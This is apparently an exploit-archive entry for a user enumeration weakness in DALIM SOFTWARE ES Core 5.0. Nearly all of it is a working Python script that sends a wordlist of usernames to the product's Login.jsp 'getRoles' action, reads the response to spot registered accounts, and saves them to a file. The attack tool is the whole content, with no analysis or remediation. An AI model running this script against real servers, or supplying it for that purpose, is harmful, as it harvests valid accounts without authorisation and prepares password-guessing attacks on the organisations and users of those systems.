DALIM SOFTWARE ES Core 5.0 build 7184.1 User Enumeration Weakness

                                                import argparse
import requests
import sys

from colorama import Fore, Back, Style, init

init()

print 'User Enumeration Tool v0.3 for DALiM ES <= v5.0'
parser = argparse.ArgumentParser()
parser.add_argument('-t', help='target IP or hostname', action='store', dest='target')
parser.add_argument('-f', help='username wordlist', action='store', dest='file')

args = parser.parse_args()
if len(sys.argv) != 5:
	parser.print_help()
	sys.exit()

host = args.target
fn = args.file

try:
	users = open(args.file, 'r')
except(IOError):
	print '[!] Error opening \'' +fn+ '\' file.'
	sys.exit()
lines = users.read().splitlines()
print '[*] Loaded %d usernames for testing.\n' % len(open(fn).readlines())
users.close()
results = open('validusers.txt', 'w')

for line in lines:
	try:
		r = requests.post("http://" +host+ "/Esprit/public/Login.jsp", data={'actionRole' : 'getRoles', 'login' : line})
		print '[+] Testing username: ' +Fore.GREEN+line+Fore.RESET
		testingus = r.text[50:72]
		if testingus[19:20] != "\"":
			print '[!] Found ' +Style.BRIGHT+Fore.RED+line+Fore.RESET+Style.RESET_ALL+ ' as valid registered user.'
			results.write('%s\n' % line)
	except:
		print '[!] Error connecting to http://'+host
		sys.exit()

results.close()
print '\n[*] Enumeration completed!'
print '[*] Valid usernames successfully written to \'validusers.txt\' file.\n'